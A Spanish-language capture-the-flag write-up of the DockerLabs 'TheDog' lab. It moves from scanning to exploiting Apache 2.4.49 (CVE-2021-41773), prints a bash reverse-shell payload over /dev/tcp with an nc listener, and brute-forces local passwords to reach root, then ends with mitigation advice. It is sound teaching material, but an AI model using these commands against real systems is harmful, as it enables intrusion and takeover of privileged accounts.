TheDog
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina TheDog, desarrollada por firstatack para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone un servidor web que ejecuta una versión vulnerable de Apache HTTP Server 2.4.49, susceptible a la vulnerabilidad CVE-2021-41773, la cual permite path traversal y ejecución remota de comandos bajo determinadas configuraciones.
A partir del compromiso inicial como el usuario www-data, se realiza una enumeración local del sistema que permite identificar usuarios con credenciales débiles, facilitando una escalada de privilegios progresiva hasta obtener acceso completo como root.
La metodología seguida se estructura en las siguientes fases:
- Reconocimiento: enumeración de servicios y análisis del servidor web.
- Explotación: abuso de una vulnerabilidad crítica en Apache para obtener ejecución remota de comandos.
- Escalada de privilegios: compromiso de usuarios locales mediante credenciales débiles hasta alcanzar privilegios administrativos.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | TheDog |
| Autor | firstatack |
| Dificultad | Medio |
| Fecha | 13/05/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip TheDog.zipsudo bash auto_deploy.sh TheDog.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p TheDog/{content,exploits,nmap,scripts}cd TheDogPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra un único servicio accesible externamente:
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se procede a realizar fuzzing de rutas y archivos en el servicio web:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404
Durante la enumeración se identifican los siguientes recursos relevantes:
- index.html
Página informativa que explica el funcionamiento del comando
ping. En el código fuente se observa un comentario que sugiere que el acceso inicial no se logrará mediante rutas convencionales, indicando la necesidad de un enfoque diferente.


- html.html
Página que revela una pista clave: el nombre del usuario
punky, el cual será relevante en fases posteriores del ataque.
Dado que no se identifican vulnerabilidades evidentes a nivel de aplicación, se analiza la tecnología utilizada por el servidor:
whatweb http://172.17.0.2
El resultado confirma que el servidor ejecuta Apache HTTP Server 2.4.49, una versión afectada por la vulnerabilidad CVE-2021-41773, ampliamente documentada y explotable.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»La vulnerabilidad CVE-2021-41773 permite acceder a rutas fuera del DocumentRoot mediante secuencias de traversal (../). En configuraciones vulnerables, esta falla puede escalar a ejecución remota de comandos.
Se utiliza un exploit público diseñado para esta versión de Apache:
python3 exploit.py -t 172.17.0.2Una vez ejecutado, el exploit permite introducir comandos arbitrarios. Como prueba inicial, se ejecuta el comando id:

Confirmada la ejecución remota, se establece una reverse shell. En el sistema atacante se inicia un listener:
nc -nlvp 443Desde la consola del exploit se ejecuta el siguiente payload:
bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"La conexión se establece correctamente, obteniendo una shell interactiva como el usuario www-data:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → punky
Sección titulada «3.1 De www-data → punky»Tras una enumeración local del sistema, no se identifican binarios SUID explotables ni configuraciones inseguras de sudo. Sin embargo, ya se había identificado previamente el usuario punky, lo que sugiere la posibilidad de credenciales débiles.
Se decide realizar un ataque de fuerza bruta local utilizando el script UserRush, junto con un subconjunto del diccionario rockyou.txt, previamente transferidos a la máquina víctima.
UserRush -u punkyTras un breve periodo de ejecución, el script logra recuperar la contraseña del usuario:

Con las credenciales obtenidas, se cambia de usuario:
su punky
3.2 De punky → root
Sección titulada «3.2 De punky → root»Desde la cuenta punky, se revisan binarios con permisos especiales y pertenencia a grupos privilegiados, sin encontrar vectores directos de escalada.
Ante la ausencia de mecanismos de protección contra fuerza bruta y políticas de contraseñas robustas, se repite el ataque utilizando UserRush, esta vez contra el usuario root:
UserRush -u rootEl ataque resulta exitoso, permitiendo obtener la contraseña del usuario administrador:

Finalmente, se accede a la cuenta root:
su root
Con esto, la máquina queda completamente comprometida.
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Apache HTTP Server 2.4.49 vulnerable (CVE-2021-41773) | Crítica | Ejecución remota de comandos |
| Exposición de versión del servidor web | Media | Facilita explotación dirigida |
| Comentarios con información sensible en código HTML | Media | Enumeración de usuarios del sistema |
| Uso de credenciales débiles en cuentas locales | Crítica | Escalada de privilegios |
| Ausencia de controles contra fuerza bruta local | Alta | Compromiso de cuentas privilegiadas |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Actualizar Apache HTTP Server a una versión corregida y soportada.
- Deshabilitar la exposición de versiones y banners del servidor web.
- Eliminar comentarios innecesarios del código fuente en producción.
- Aplicar políticas de contraseñas robustas para todos los usuarios del sistema.
- Implementar mecanismos de protección contra fuerza bruta (bloqueo, rate-limit o alertas).